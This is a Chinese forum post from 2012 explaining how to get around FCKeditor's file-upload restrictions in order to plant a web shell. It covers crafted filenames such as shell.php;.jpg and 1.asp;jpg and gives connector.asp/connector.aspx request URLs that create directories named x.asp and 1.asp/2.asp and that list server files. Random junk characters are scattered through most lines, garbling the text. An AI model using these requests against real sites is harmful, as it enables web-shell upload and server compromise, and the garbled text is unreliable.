很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg1 Y6 N9 L! K8 M- x7 ]8 v
+ ~ {, ?6 i4 s, P! Y提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。* B- N3 f! g8 Z: V
1 Z( [+ }3 b# Q( S0 H Y Z
继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
) {7 ^* @0 m9 I( r* v
, R2 Q5 _% _0 {" q* D' a突破建立文件夹：
8 x# `" f1 h, i9 | [+ J2 h6 U# h% X8 K! W9 @# F' ~
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp: O/ I- n' w0 }( y
# e0 k% J$ _. r V参数：( M/ U( \- c) e; Z9 g6 S# o, F
" R& H" y0 g, o. z- Q
当前目录名：CurrentFolder=/qing.asp2 @/ @( |; g' w
3 X6 k. p. N* B6 m新的目录名：NewFolderName=x.asp
1 l, L- K8 b7 z* H4 Y
5 H! E" I9 H6 {' D其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……% m/ n; P+ g$ h" i! ~- I
/ ^. W7 g ?0 z4 `; j
那么 x.asp 就已经建立生成了，此方法百试百灵！. O$ o, q3 a- d. H
& l5 t h; ^3 b3 i. a/ |* y* h2 d新建文件夹参数 x.asp，基本都能搞定。" E* e' V- i/ a; b1 y# s! U! c
7 M! \2 E1 q5 d7 e6 Q6 c下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
" @3 L6 F1 g! W3 K
5 \0 Q1 A' |+ z3 z+ T1 [' f7 Saspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp% R% ]9 @% {- d! s
8 z4 G9 F; v5 m2 f& V
获取文件列表8 X& a y; N" q5 I
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
) c! w6 i. _5 k3 H5 r' f0 F" c; o% ^8 }9 b2 ?
|
发表于 2012-12-31 09:27:09
收藏
支持
反对